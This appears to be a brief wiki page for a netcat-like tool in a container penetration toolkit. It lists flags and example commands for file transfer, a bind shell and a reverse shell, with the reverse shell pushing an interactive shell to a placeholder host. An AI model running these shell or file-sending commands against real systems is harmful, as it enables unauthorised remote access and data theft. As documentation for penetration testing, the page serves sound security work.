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Tool: nc

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cdxy edited this page Nov 30, 2020 · 1 revision

Tool: nc

还原部分linux nc命令的功能，用于传输文件以及正反向shell。

Create TCP tunnel like linux command nc for sending file or spawn an interactive shell.

Copied from https://github.com/jiguangin/netcat

Usage

usage: netcat [-l] [-v] [-p port] [-n tcp]

options:
  -e	shell mode
  -h string
    	host addr to connect or listen (default "0.0.0.0")
  -help
    	print this help
  -l	listen mode
  -n string
    	network protocol (default "tcp")
  -p int
    	host port to connect or listen (default 4000)
  -v	verbose mode

Example

Listen & Connect

listen: 
cdk nc -l -v -p <port>

connect:
cdk nc -h <host> -p <port>

png

Send File

cdk nc -l -v -p <port> < file
cdk nc -h <host> -p <port> > file

png

Shell (listen)

cdk nc -l -v -p <port> -e
cdk nc -h <host> -p <port>

png

Shell (reverse)

cdk nc -l -v -p <port>
cdk nc -h <host> -p <port> -e

png

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